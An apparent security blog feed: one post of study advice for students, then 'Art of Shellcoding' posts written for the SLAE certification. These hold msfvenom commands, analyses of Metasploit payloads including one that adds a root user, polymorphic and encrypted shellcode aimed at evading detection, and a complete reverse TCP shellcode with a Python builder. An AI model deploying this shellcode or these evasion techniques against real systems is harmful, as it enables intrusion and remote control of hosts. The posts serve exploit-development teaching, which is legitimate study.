Nipun Jaswal's Official Blog

Subjects that Help Building Cyber Security Skills while you are Studying

noreply@blogger.com (Nipun Jaswal) — Sun, 26 Aug 2018 11:23:00 +0000

Whats up guys eh, long time and i haven't posted anything recently. Yeah i know i have been busy with a ton of work at the company where we have been doing something amazing almost every day. Recently, we have been working on various cutting-edge vulnerability research and product development projects and my end of the day is like never-ending. Anyways, there have been many students asking me one common question every time i login to facebook or any other social media that "I am a B.tech/BCA/MCA/B. Sc IT student and to focus more on cybersecurity, which subjects i should focus on". Well, your parents would say every subject :P, but some of the subjects do stand out from the crowd. Like i have always mentioned in my previous talks, articles that C is the mother of all programming languages, you should always keep C in the prime focus when it comes to programming. For those who suck at C or programming entirely, i am afraid that you may become a cybersecurity professional knowing nothing behind the picture and it will bite you someday or the other.

Well, there are two kinds of people in the cyber security industry, especially on the low profile jobs, ones who are dedicated, committed and research oriented, those who will try every possible way to attack the application or any stack by finding vulnerabilities, logical flaws etc and there is a completely different lot as well.

There is a unique bunch of people who are dedicated, committed but are more of "Bots". Well sometimes bots can be cool, but they are generally hired to do only a single job that is to click some of the buttons on a vulnerability scanner. Well, the people i mentioned earlier (the one's who suck at programming) are excellent candidates for Bots since they are paid for clicking few buttons a month, it sounds really easy. However, easy is sometimes dull. A dedicated cybersecurity professional can never be boring, he wakes up to a new challenge every single day. Yet, to change your fate from becoming a life sized bot, the changes have to be done in the past and especially at the level where you are still developing skills. Hence, it is essential to know what's important and what's not, which subjects to focus precisely. Therefore, let me list down some of the critical subjects and the skills they will help you with if you focus more on them. We will be starting with the very primary subjects:

C/CPP Programming: Must for Everyone, developers, exploit researchers, pen-testers for logics etc.
Data Structures: Must for Exploit researchers especially in Heap overflow bugs, doubly linked list concepts help you out a lot. May not be that important for pen-testers who limit their scope only to scanners
Operating System: Yes, the book in red and with dinosaurs... Important, Very important for researchers, developers, exploit developers because you get to know the insights of the operating system, get to know about processes and threads.
Computer Architecture: The most focused subject should be this one if you are planning exploit research or even if you are preparing for OSCP/OSCE. I frankly thought this subject is a pain, but i realised that if i would have put in a lil bit of the extra effort at the time i was studying, I would have not have learnt Assembly and computer organisation again.
Automata Theory: Good for Researchers, developers
Computer Networks: Good for Researchers/ Developers /Exploit Developers/ Vulnerability Researchers, Pen-Testers etc.
Software Engineering: And the most boring subject of the century goes to... Anyways, though its boring, it will help you in learning the development stages, Models and plenty of other stuff. Mostly helpful for startup founders, solution researchers etc.
Artifical Intelligence/ Machine Learning: if these make a cut in your syllabus, you should be thankful to your college. AI and ML is a booming domain especially when combined with cybersecurity products. Mostly for everyone but especially for Developers (Cater to the current market)
Compiler Design: Good to know for developers and researchers, not too important for pen-testers
Cryptography: Aah... You know this right.. However, i strongly believe that this subject should also throw some light on the cryptanalysis. Essential for researchers, developers and CTF players.
Wireless Sensor Networks: Yes, required for everyone especially in network pentesting, distributed solutions and much more
Computer Networks: Everyone should know this especially if you like playing with Hackrf, SDR etc. Why? Encodings... Modulation Types and much more
Add-Ons: Linux Programming: I am always thankful to LPU for putting this in my course material. This subject taught me SYSCALLS while i was studying.
Add-Ons: Visual Basic: I am grateful again to my university for putting this in.. i am able to develop a lot of security tools and malware due to this :P
Add-Ons: C#: Good to know and very important for developers especially when you hate Java.
Add-Ons: Java: I suck at Java!! Enough Said.. but for developers, app developers this is a must
Add-Ons: Python: Oh Yeah!! This is the best thing that can happen to you.
Add-Ons: Cyber Security: If you failed to select this on time, that would be sad...
Add-Ons: a lot of self-study, don't spend unnecessarily on Courses, learn from practical exposure such as Hack in the Box, VulnHub etc.
Add-Ons: Attendance: You would learn all of the above if you will be present in the class.
The Most Important: Patience: Dont cram, try to learn. Dont go for cyber security if you think your friend has done it and so should you. Fall in love with it first.

Hope this helps and answers your questions. Yes, there are a ton of courses online and available freely as well which will aid your learning process. Don't just be in the cybersecurity field for the job, be in the job because you know cyber security. I am happy that after completing my M.tech i am working in an area where my hobby changed to my profession and it feels like i am never working :) Post your queries in the comments if you think i left something out. Thanks

Art of Shellcoding: Basic AES Shellcode Crypter

noreply@blogger.com (Nipun Jaswal) — Wed, 28 Feb 2018 12:07:00 +0000

In this post, we will design a shellcode crypter which will encrypt the shellcode and then decrypt the encrypted shellcode and run it dynamically. The libraries we will be using for encryption will be mcrypt, and the shellcode encryption schema is Rijndael-128(AES).

We will design the crypter in C programming language. The shellcode we will be using for this exercise will be an execve stack based shellcode. Following is the code of the crypter:

The enc_dec function accepts flag value and based on the value it performs either an encryption operation or decryption operation. Also, the length of the key for encryption and decryption is16. On running the crypter, we get the following output:

We saw how we can create a basic crypter in C. We can build on these methods and combine the best of polymorphism, encoding, and encryption to create much more advanced and detection free shellcodes.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080

Art of Shellcoding: Polymorphic Shellcodes

noreply@blogger.com (Nipun Jaswal) — Wed, 28 Feb 2018 09:31:00 +0000

Polymorphic shellcodes help defeat pattern matching. A great shellcode will combine not only the polymorphism in the shellcode but will combine a variety of techniques including encoding, encryption, and polymorphism. In this post, we will take up 3 different shellcodes and will convert them into the polymorphic ones. A polymorphic shellcode will not differ in the functionality, but we will use a variety of other instructions. This means that polymorphism is nothing but doing the same thing using a variety of different instructions.

/bin/cat /etc/passwd Shellcode

The first payload we will be using is from http://shell-storm.org/shellcode/files/shellcode-571.php . This shellcode is a simple /bin/cat shellcode and will display the contents of /etc/passwd file. The code is as follows:

We have commented out instructions from the original code and replaced it with a different set of instructions. We made use of ESI register instead of pushing the string directly onto the stack and performed an ADD operation to get the same value which was pushed in the original shellcode. To avoid null values we incremented ESI and performed subtract operation to get the second same value being pushed in the original shellcode.

Throughout the shellcode, we made use of ADD, SUB, INC & DEC instructions to completely defeat pattern matching. On compiling and Running the code, we get the following output:

Original Payload Length: 43 Bytes
Polymorphic Version Length: 61 Bytes
Change %age : 41% Increase

Netcat Bind TCP Shellcode

The next shellcode is a netcat bind TCP shellcode which allows you to connect to the port 17771 and presents a system shell. The original Shellcode can be downloaded from http://shell-storm.org/shellcode/files/shellcode-872.php and is 58 bytes in length. Using the similar approach we took for the previous shellcode, let see what a polymorphic version of the shellcode looks like:
The code is pretty straightforward. However, we only replace instructions which are relevant to the signatures. We made use of ESI again as we did in the previous shellcode. However, we are also making use of EDI register as well. On executing the shellcode:

Original Payload Length: 58 Bytes
Polymorphic Version Length: 86 Bytes
Change %age : 48% Increase

Execve Shellcode

The last shellcode is execve shellcode from http://shell-storm.org/shellcode/files/shellcode-575.php and is 21 bytes in length. The shellcode does nothing much than popping up a shell locally. Let's make a polymorphic version of it as follows:

We used the same concepts like we did for the previous shellcodes.
Original Payload Length: 21 Bytes
Polymorphic Version Length: 22 Bytes
Change %age : 0.4% Increase

On running the shellcode, we get the following output:

Throughout this post, we saw that how a single operation can be done through a countless number of ways and making use of different instructions. In the next post, we will see how we can make our own crypter.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080

Art of Shellcoding: Metasploit Read File Payload Analysis

noreply@blogger.com (Nipun Jaswal) — Fri, 23 Feb 2018 20:46:00 +0000

Today, we will be looking at Metasploit's linux/x86/read_file payload. In this post, we will uncover how this payload works internally when it tries to read the /etc/passwd file. We will use GDB-Peda for our analysis. Using msfvenom, i created a file, i.e., read. Elf and while i was generating the file i used PATH value as /etc/passwd.

Therefore, when the file is made to execute, it will read the contents of the /etc/passwd and will display it on the screen as shown in the following image:

Let's load this file into GDB-Peda, set a breakpoint on the shellcode(using *&shellcode) and run the program.We are presented with the following screen:

We can see that the very first instruction is a Jump statement. Taking the jump, we have the following instruction:

Taking the call instruction, we are presented with the following screen:

Looks like we finally arrived at the shellcode and the previous two statements were nothing but a JUMP-CALL sequence which would have pushed the hardcoded file path onto the stack. We can see that the stack contains /etc/passwd which is the path we defined in the shellcode. Nevertheless, the first instruction is to move 0x5 to EAX register. The 0x5 value denotes sys_open system call which follows the following format:

open(const char *pathname, int flags);

The open call requires *pathname in the EBX register. So, the next instruction in the shellcode, which is, pop ebx not only completes the JUMP-CALL-POP sequence but sets the open system call perfectly. In the next instruction, ECX gets cleared out and now have a value 0 in it. A successful open should return the file descriptor in EAX register. Let's see:

We can see the descriptor in EAX. The next statement moves the descriptor to EBX. Next, EAX is loaded with 0x3 which is sys_read system call:

ssize_t read(int fd, void *buf, size_t count);

We can see that to setup read system call. EBX should be loaded with fd which is the file descriptor. However, EBX has already been set up using the previous instruction. The next instruction is to move the top of the stack to EDI, and in the next instruction, it is transferred to ECX which is the register to be set up for *buf. Finally, move 0x1000 to EDX will move 0x1000 as the count. Let's see the next segment:

Next instruction will issue the interrupt for the read system call. In the next one, the result from EAX is moved to EDX. Next, 0x4 is moved to EAX which is nothing but syscall number for write system call. The value 0x1 is moved to EBX which means that the output will be written to console.The ECX register is unaffected by the previous call and is not required to be set up again. Hence, the interrupt is issued:

In the final segment of the code, The value 0x1 is moved to EAX which denotes an exit call. Additionally, 0x0 is moved to EBX as the error_code and interrupt is issued which will terminate the program.

We saw that the shellcode works by opening the file using open call, reading it using read call and outputting the data onto the console using write system call and finally making an exit using the exit system call. Pretty Straightforward.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080

Art of ShellCoding: Metasploit IPv6 Reverse TCP Shellcode Analysis

noreply@blogger.com (Nipun Jaswal) — Thu, 22 Feb 2018 18:54:00 +0000

Most of us have worked a lot with IPv4 payloads and shellcodes. Let us see how different is Metasploit IPv6 Shellcode and how does it work. In this post, we will make use of libemu to conduct out our analysis on the IPV6 Reverse TCP shellcode. We will also use strace to aid our analysis. Throughout the analysis, our agenda is to figure out the key differences between an IPv4 and IPv6 shellcode. We will try to figure out the differences between the two. So let's get started. Let's Generate the shellcode with msfvenom using the following command in conjunction with sctests from libemu:

msfvenom -p linux/x86/shell/reverse_ipv6_tcp LHOST=::1 LPORT=4444 -f raw | /opt/libemu/bin/sctest -vvv -Ss 10000

We will have the following output:

We can see that we have two systems calls in this shellcode. The first is the socket setup and the next one is connect. We can use libemu with the -G option to create a dot based graphics file which simplifies things for us. The dot graph file can then be converted into a PNG image using the dot utility in linux. Let us see the obtained PNG as follows:

Let's analyze the above flow diagram. In the very first block, We start by clearing out EBX register which means that now EBX contains 0. We push this value onto the stack. Next, we increment EBX register making its value as 1 and push it again to the stack. Next, we push 10 onto the stack. Hence the stack (from the top) becomes a structure like {10,1,0}. In the next step, we simply point this structure to ECX. Hence ECX now contains the address of the structure we created above. The structure consists of very similar values as in the first screenshot. This means 0 points to the protocol(0), 1 to the type and 10 as the domain, i.e., AF_INET6(IPv6). Type 1 denotes SOCK_STREAM. Next, we simply perform a push-pop to EAX with the syscall number 0x66 that denotes socketcall.

Hence, we have EAX: 0x66 , EBX: 0x1, ECX:{10,1,0} and we issue the interrupt. The arrangement will issue a socketcall of type SYS_SOCKET with the domain as 10 (IPV6) and type as SOCK_STREAM.

The result of the above syscall will be stored to EAX. Hence, we perform an XCHG operation to move the value to ESI. Next, we issue a CWD (Convert to DWORD) which will extend EAX to EDX. Hence clearing out values in EDX as well.

Next, we will setup connect system call. For the connect system call to work, we require 0x66 in EAX register denoting the socketcall, 0x3 in EBX register and ECX pointing to the stack structure.

Talking about the structure, we will require the following structure pointed to by the ECX register( I found the following structure using strace):

{sa_family=AF_INET6, sin6_port=htons(4444), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}

Hence, the first part is to set up the inet_pton structure and then embed it as a part of the full structure. We start by setting up the values for sin6_addr to 0 using push dword 0 and similarly setting up ::1 address and AF_INET6 as 0x5c11000a. Setting up this structure, We move the stack pointer to ECX and begin setting up rest of the remaining values.

Next three push operations will make the new structure as {Result from the previous system call, Current Pointer in ECX, 28}. Hence, we push ECX after pushing 28(length) and ESI register, since it holds the result sockfd from the previous call. Next, we just need to point this current structure in ECX, Increment EBX to 3(Connect syscall), 0x66(socketcall) in EAX and issue the interrupt.

The last part of the image is nothing but sys_read system call. The read system call should be called in the following manner:

ssize_t read(int fd, void *buf, size_t count);

Therefore, in the shellcode, we have EAX with 0x3(sys_read), EBX with file descriptor by moving it to EBX from ESI. Next, We move 0xc to DH which will set EDX with a huge value for the length.

Note: ECX register remains unchanged, and we issue the interrupt.

Throughout this exercise, we saw that there isn't much difference between IPv4 and IPv6 reverse TCP shellcodes. The only changes are the domain value and address of the host. The logic of the connection remains the same. Nothing fancy!!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-1080

Art of ShellCoding: Metasploit Add User Payload Analysis

noreply@blogger.com (Nipun Jaswal) — Fri, 09 Feb 2018 19:45:00 +0000

In the previous post, we saw how we can encode the shellcode with our customized encoding schemes. In this post, we will see how some of the famous shellcodes from the metasploit framework work. We will analyze three different shellcodes using different techniques and tools in this mini shellcode analysis series. In this post, we will examine linux/x86/adduser shellcode with ndisasm and will see how the stuff works behind the scene.

The adduser shellcode adds a specified user to the linux system. Let's see how we can create this shellcode using msfvenom:

Let's copy the shellcode from the 'shellcode' file and analyze it using ndisasm as follows:

We have the complete disassembly of the code here:

Having a look at the disassembly, we will see that we have four primary system calls here which are setreuid, open, write and exit system call. I know things may not be clear here and you might be wondering how exactly i can say this? Let's break the code down and see it ourselves:

xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80

Clearing out ECX, we move the obtained 0 to EBX. Next, we put 0x46 in EAX using a PUSH-POP operation. The 0x46 in hexadecimal corresponds to 70 in decimal and denotes setreuid() syscall. The setreuid syscall takes two parameters, i.e., int setreuid(uid_t ruid, uid_t euid); The parameters ruid and euid are real and effective user ids. The setreuid set the real and effective user ids of the current process to the values provided in setreuid. Since we have 0 in EBX and 0 in ECX, this means that setreuid will be called as setreuid(0,0) and 0 corresponds to the user id root.

push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80

The above piece of code puts 0x5 in EAX which is nothing but sys_open(int open(const char *pathname, int flags);) system call. Next, we clear out ECX and push it to the stack. The value to be pushed into the stack is 0 since we cleared out ECX using XOR operation. The next three instructions put the string /etc//passwd on the stack, and since they are at the top of the stack, we move ESP to EBX. Next, we increment ECX to 1 and then move 0x4 to CH register which is HIGH bytes of CX register. We already have a value in CL which is 1. Therefore, this operation will make the value in ECX as 0x401 which is nothing but a bitmask representing a combination of O_WRONLY | O_APPEND flags. Using this combination of registers, we will be opening /etc/passwd file in write-only append mode. Upon successful execution, it will return the descriptor for the file. The next two lines exchange the descriptor with EBX register and call

xchg eax,ebx
call dword 0x4e

Here is the trick of this shellcode. Since we issue a call instruction, the data after the call instruction is pushed onto the stack. Confused? After the call instruction we have:

0000002B  6E                outsb
0000002C  6970756E3A417A    imul esi,[eax+0x75],dword 0x7a413a6e
00000033  627242            bound esi,[edx+0x42]
00000036  334B30            xor ecx,[ebx+0x30]
00000039  7072              jo 0xad
0000003B  52                push edx
0000003C  41                inc ecx
0000003D  59                pop ecx
0000003E  3A30              cmp dh,[eax]
00000040  3A30              cmp dh,[eax]
00000042  3A3A              cmp bh,[edx]
00000044  2F                das
00000045  3A2F              cmp ch,[edi]
00000047  62696E            bound ebp,[ecx+0x6e]
0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75]

These may look like instructions, but they are not. In fact, this is the data. Let's analyze it as follows:

From 6E to 68(Second Last Line, 0A is line feed):

6e 69 70 75 6e 3a 41 7a 62 72 42 33 4b 30 70 72 52 41 59 3a 30 3a 30 3a 3a 2f 3a 2f 62 69 6e 2f 73 68

Transforms to:
nipun:AzbrB3K0prRAY:0:0::/:/bin/sh

The above string is the data to be written into the file we opened using SYS_OPEN call. Coming back to the call instruction it will land us at the at the byte 59 (Last line) after 0A:

We can see the value in EIP which points to byte 59. Let's reconfirm it:

Now, the POP ECX command will put the data to be written into the ECX register, and the next instruction puts the length of this data onto the EDX register. Rest of the code is straightforward it pushes the value 0x4 on the stack and pops it to EAX register. This is nothing but the WRITE system call. This means we have the following arrangement of registers:

EAX: 0x4 Write System Call
EBX: File Descriptor (From the XCHG Operation)
ECX: The data itself
EDX: Length of data

We simply issue the interrupt, and the data gets written to the /etc/passwd file. Next, we just issue an exit system call by putting 0x1 to EAX using a PUSH-POP operation

Analysis:

The shellcode appends the specified user credentials to /etc/passwd file and exits.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-1080

Art of Shellcoding: The MultiEncoder Shellcode

noreply@blogger.com (Nipun Jaswal) — Tue, 06 Feb 2018 11:40:00 +0000

Dear Readers, Hope you all are doing great. In the previous post, we saw how we could create a shellcode for egghunting and ended up creating one of the shortest egghunter shellcode with just under 12 bytes. In this post, we will only work on encoding the shellcode by combining 3 different encoding schemes. The shellcode we will choose to demo our custom encoder will be a simple /bin/sh shell invoking shellcode. You can download a copy of this simple shellcode from here. We will write a simple python script which will encode the bytes of the /bin/sh shellcode with our custom encoding scheme. Here is the source of the python script:

Running the python program, we can see that we have encoded shellcode which we can use in decoder stub:

As we can see this is a pretty straightforward Encoder which encodes each byte of the /bin/sh shellcode by XORing it with 0xAA, then XORing it again with 0xCF, then performing a NOT operation on the byte and finally doing a ROT shift of 131 on the byte. Therefore, to create a decoder stub for the shellcode, we will write a simple assembly program as follows:

We can see that it's a pretty straightforward decoder stub. The first operation it performs is to simply remove the ROT shift of 131 by subtracting the byte with 131. Next, it performs a NOT operation and then finally do a double XOR operation with 0xCF and 0xAA one after the other. After completing these four activities for all the bytes, it directly jumps to the Shellcode. Extracting the bytes of Shellcode from this program, we can just create a C program and test its functionality as follows:

Compiling the C code, we can execute the program and see if works or not:

Works!! Great. We can see that the length of the shellcode is 76 bytes. Let's run this program in GDB and analyze the step by step decoding process as follows:

We can see that our original /bin/sh encoded shellcode of 25 bytes is visible in the above screenshot. We are currently doing a ROT shift of 131 by subtracting it from the first byte of our encoded shellcode which is 0x2e. This will change the byte 0x2e to 0xab:

Similarly, the next operation is to perform a NOT of the byte which will transform the byte 0xab to 0x54:

Next are two XOR operations, the first with 0xCF which will change the byte to 0x9b and the one with 0xaa will convert the byte to 0x31 which is the original byte of our /bin/sh execve shellcode:

Similarly, all the above operations will happen for rest of the 24 bytes of the shellcode, and before jumping to the decoded shellcode, we will have the following shell code:

This is nothing but the original shellcode of /bin/sh program as we can see in the python encoder Yeepee! We have successfully decoded the entire shellcode with ease. We can name this encoder as RNX2 encoder as XOR-XOR-NOT-ROT operations are followed for encoding and ROT-NOT-XOR-XOR for decoding.

All the files for this tutorial/ exercise are availiable at: https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-1080

Art of Shellcoding: Cracking Eggs with EggHunters

noreply@blogger.com (Nipun Jaswal) — Tue, 16 Jan 2018 02:30:00 +0000

Dear Readers, thank you for your overwhelming response to the previous post on reverse TCP shellcode. Last time, we wrote one of the smallest reverse TCP shellcodes of all time. This post advances onto an interesting concept called the Egg Hunter Shellcode. So, what is an egg hunter shellcode? For those interested in exploit development, they often come across a problem of limited space for the shellcode to execute. I remember the first exploit i wrote was a POC for SamSpade tool. Yeap, the good old samspade which allows us to fingerprint the targets. I wanted to exploit the same, but space was limited. It was only 7-8 bytes of space, and no shellcode would fit into it. The same sort of problems is addressed by egg hunter shellcodes. This means small shellcodes would allow jumping to the more substantial shellcodes in memory. However, 7-8 bytes is still something which is always tough.

Note: I created one of the smallest egghunter shellcode after i wrote this post and is published on exploit-db.com: https://www.exploit-db.com/exploits/43910/

The beauty of an egghunter shellcode lies in the fact that you don't need to hardcode any addresses or calculate an exact offset to make a jump while executing the staged payload. In fact, its just a small program which will scan through the entire address space of the program and find a specific keyword, once the keyword is found, it directly jumps right next to it(start of the shellcode). We call this keyword an "egg." So let's get started with our egghunter shellcode as follows:

As we can see that the first line of code is the for the page alignment in case, invalid regions of memory are encountered. Next, we just increment the value of ECX and validate this address using sigaction syscall, denoted by 0x43. We now issue the interrupt and compare the value returned by sigaction syscall in EAX to 0xf2 which is the lower bytes of EFAULT (Denotes Bad Addresses/ Invalid Addresses). This means that on every EFAULT, page alignment will happen since the Zero Flag gets set by the CMP instruction. However, if the memory region is valid, the jump to page alignment is not taken, and our EGG value which is 0x50905090 is moved to EAX register while our valid address is transferred to EDI from ECX. But why did we move from ECX to EDI? This is because we will be using SCASD instruction which compares the string held at the address pointed to by the EDI register with the contents of EAX register [This is precisely where our egghunter hits the WORD version of the EGG if it finds it for the first time]. However, if it doesn't hit the egg[Denoted by ZF flag], it jumps to increment the address and perform the same steps of the next valid memory region.

In cases where the first SCASD instruction sets the ZF flag, another SCASD instruction is followed, but why?

This is because we have an 8-byte version of the EGG which means when the EGG 0x50905090 is compared, a correct match will occur on the following sequence of bytes which is "\x90\x50\x90\x50\x90\x50\x90\x50". We use the 8-byte version of the EGG to provide a real uniqueness to the EGG. Coming back to why we used SCASD again, we used it because on the very first SCASD instruction, the SCASD instruction along with the comparison also increments the value of EDI by four and the next four bytes at EDI are nothing but the next half of the 8-byte EGG. The memory address in ECX completing both the SCASD operations successfully will yet again increment EDI by four which will bring us to the start of the shellcode. We merely have to jump to this address to execute our shellcode successfully.

Let's see some action as follows:

Just Before Jumping to EDI

As we can see from the above screenshot, right before jumping to the address pointed by EDI, Zero Flag was set (Due to SCASD and it also increments EDI by 4) and we are led to the shellcode by EDI. Examining the address in EDI, we have the following output:

116 Bytes starting at the address pointed to by EDI

This is nothing but our shellcode ;) which will get executed and provide us with a beautiful looking bind shell when connected.

Let's see the program in action as follows:

Egg Hunter in Action

The Final code for the demo implementation of the shellcode is as follows:

Files for this tutorial can be found at:

https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-3

Art of Shellcoding: Tale of the Smallest Reverse TCP Shellcode

noreply@blogger.com (Nipun Jaswal) — Fri, 05 Jan 2018 14:55:00 +0000

Modern Ninja :)

Hey Folks, Hope you guys are doing great. In the previous article, we saw how we can create a bind TCP shellcode, reduce its enormous length from 108 bytes to merely 80 bytes by making use of strategically placed instructions, register re-use, single byte instructions and much more. We also saw how we can create a wrapper in python which will help us modify the shellcode and make it usable for any port of choice.
In this article, we will discuss how we can create a reverse TCP shellcode. In case you missed my previous post, click here to read it first since this post builds heavily on the mechanisms discussed in the last post.

Our Agenda for this exercise is to:

Build a Null Free TCP reverse shellcode
Write a wrapper that can update IP address and port in the shellcode
Write an efficient and small shellcode

Note: On this day (Friday, Jan 5, 2018, 1:28 AM IST) The shellcode we created in this post is the smallest Null -Free and Register Pollution Free /bin/sh shellcode (checked on exploit-db.com), Not counting ( Register Pollution based Shellcodes, Netcat Reverse Shells)
Update: The Shellcode has been accepted by Exploit-DB and can be found at https://www.exploit-db.com/exploits/43433/

[shellcode] Linux/x86 - Reverse TCP Shell (127.1.1.1:8888/TCP) Shellcode (69 bytes) https://t.co/a8OWh1glPG
— Exploit Database (@ExploitDB) January 5, 2018

So, let's quickly generate a linux/x86/shell_reverse_tcp using msfvenom and feed it to libemu as shown on the following screen:


Libemu Analysis of the Reverse Shell TCP

We can see that we have primarily four system calls that will come handy for creating shellcode for reverse TCP which are: socket, dup2, connect and execve. The main change in this shellcode is that instead of having system calls like bind, accept and listen, we have connect system call only. This makes our work reasonably comfortable as the only change required is to place the connect system call instead of all the three discussed above. So let's get started. However, we will try to write a much more efficient and space friendly code this time. The first call is SYS_SOCKET, let's set it up as shown on the following screen:

xor ebx,ebx ; Clearing out EBX
push ebx     ; Pushing 0 onto the stack i.e. Value of EBX ---> IP_PROTO
inc ebx        ; Increment EBX to 1 ---> SYS_SOCKET
push ebx     ; Push 1 onto the stack ---> SOCK_STREAM
push 0x2     ; Push 2 onto the stack ---> AF_INET (domain: Internet)
mov ecx, esp ; Move the pointer to ECX, which will point to {2,1,0}
push 0x66   ; SOCKETCALL
pop eax       ; SOCKETCALL --> EAX
int 0x80      ; Interrupt ( EAX=> 0x66 EBX=0x1 ECX => {2,1,0}

Similar to the bind shell, we setup SYS_SOCKET as shown above. We can see we have DUP2 as the next system call which is being called thrice. Hence, let's set it up as follow:

xchg ebx,eax ; The resultant sockfd value from the previous call is moved to EBX
pop ecx       ; Top of the stack contains 2 pushed in the previous call, we load it to ECX
loop:           ; Loop Begins
    mov al,0x3f ; Moving DUP2 call to EAX
    int 0x80 ; Interrupt
    dec ecx   ; Decreasing ECX
    jns loop ; Loop until SF Not Set

The above set of instructions will loop until the value of ECX becomes zero and SF Flag is set. Next, We have the core system call of this shellcode which will connect to the listeners IP address on the specified port. Let's set up the connect system call as follows:

push 0x101017f      ; IP Address 127.1.1.1
push word 0xb822 ; Port 8888 (DWORD would have caused a NULL Byte)
push word 2            ; AF_INET (Null Byte in AF_INET: 0002)
mov ecx,esp    ; Pointer 1 to {b8220002,0101017f)
mov al,0x66            ; SOCKETCALL
push eax                  ; We push 66 as length (Clearing EAX not required)
push ecx                  ; Pointer 1 Pushed onto the stack
push ebx                  ; Sockfd pushed onto the stack
mov bl,0x3              ; EBX now contains SYS_CONNECT
mov ecx,esp            ; Pointer 2 --> {sockfd, Pointer 1, 66}
int 0x80                  ; Interrupt Generated

There are two main highlights here; We did not move 0xb8220002 as a DWORD this may have decreased the length of the shellcode, but it would have introduced a Null byte as well(0002). Hence, we pushed port in two halves. Additionally, we did not use IP as 127.0.0.1 because it would have contained nulls as well. Interestingly, we did not load 16 as the length this time and pushed the value of the call itself as length. This also means that it has a negligible effect on the system call. Hence, we saved bytes required to clear it out and loading the value 16 in there as we did in the previous post. Finally, we have the last segment of code as follows:

push edx ; Pushing 0 Value to the stack
push 0x68732f2f ; /bin
push 0x6e69622f; //sh
mov ebx,esp ; pointer 1 {/bin//sh}
push edx ; Pushing 0 Value to the stack
push ebx ; Pointer 1 to the stack
mov ecx,esp ; pointer 2 {Pointer 1, 0}
mov al,0xb ; EXECVE System Call
int 0x80 ; Interrupt

The code above is nothing but setting up EXECVE like we did in the last post. Compiling the code we have:

Generating Shellcode

Compiling the shellcode in a C program and testing it, we can see that our shellcode works correctly as shown below:

Compiling and running shellcode.c program with our shellcode

Let's write a python wrapper for the shellcode so that changing IP address and PORT on the fly won't be a hassle for us:

#!/usr/bin/python
import sys
import socket
print "Stub File:"+sys.argv[1]
print "IP Addr:"+sys.argv[2]
print "Port Used:"+ sys.argv[3]
ip_addr= sys.argv[2].split(".")
ip_addr_bytes = '{:02X}{:02X}{:02X}{:02X}'.format(*map(int, ip_addr))

with open(sys.argv[1]+".c", "rb") as f:
    contents = f.readlines()

def H( hexStr ):
    bytes = []
    hexStr = ''.join( hexStr.split(" ") )
    for i in range(0, len(hexStr), 2):
        bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )
    return ''.join( bytes )

ip_addr_final= repr(H(ip_addr_bytes)).replace("'","")

port = hex(int(sys.argv[3])).split('x')[1]
fh, sh = port[:2],port[2:]
if len(fh) == 1: fh = "0" + fh
if len(sh) == 1: sh = "0" + sh
_p = "\\x{0}\\x{1}".format(fh,sh)
for j,i in enumerate(contents):
    if "\\x22\\xb8" in i:
        print "Line Number :" + str(j)
 contents[j] = '"' + _p +'"'
    elif "\\x7f\\x01\\x01\\x01" in i:
 print "Line Number :" + str(j)
 contents[j] = '"' +ip_addr_final + '"' 
nf = sys.argv[1]+"_new.c"
with open(nf, "wb") as f:
    f.writelines(contents)
import os
os.system("gcc {0} -o {1} -fno-stack-protector -z execstack".format(nf,sys.argv[1]))
os.system("rm {0}".format(nf))

Running the python code, we can see that we can now change IP and port parameters on the fly:

Wrapper & Execution

We have completed all the required tasks. We now have one of the smallest reverse TCP shellcode with an on the fly IP and Port changing wrapper.

Files for this tutorial can be found at:
https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080

Art of Shellcoding: The Saga of Bind TCP Shell

noreply@blogger.com (Nipun Jaswal) — Tue, 02 Jan 2018 08:54:00 +0000

Dear Readers, we all in the infosec community use bind TCP shell almost on a daily basis. I too have seen many people copying shellcodes blindly from the internet and just pasting them into the exploits without knowing what those shellcodes might be carrying. Today, we will uncover the working of bind TCP shell and based on the analysis, we will try to develop one ourselves. If you are not familiar with the assembly, Enroll yourself into SLAE course from SecurityTube, its one of the best classes available out there and i am able to write this post based on the advanced knowledge i gained from the course itself. Anyways, The agenda of this exercise is to:

Analyze the Bind Shell generated from Metasploit
Create your own shellcode based on the analysis
Remove any Null bytes (Bad Characters)
Generate a space friendly shellcode (minimalistic)
Write a wrapper to dynamically change the bind port

So let's get started, we will use libemu to analyze the bind_shell_tcp shellcode for x86 Linux. The analytics for this shellcode can be drawn through the following command:

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | sctest -vvv -Ss 10000

Creating a graphical representation of the shellcode using libemu, we have the following flow diagram of the bind_shell_tcp payload as shown in the next screen:

Analysis of the BIND TCP Shellcode generated using msfvenom

We can see that we have a pretty straightforward workflow which displays all the important system calls used by the bind_shell_tcp shellcode. However, let us try tracing all the system calls, parameters involved, etc. using strace as shown on the following screen:

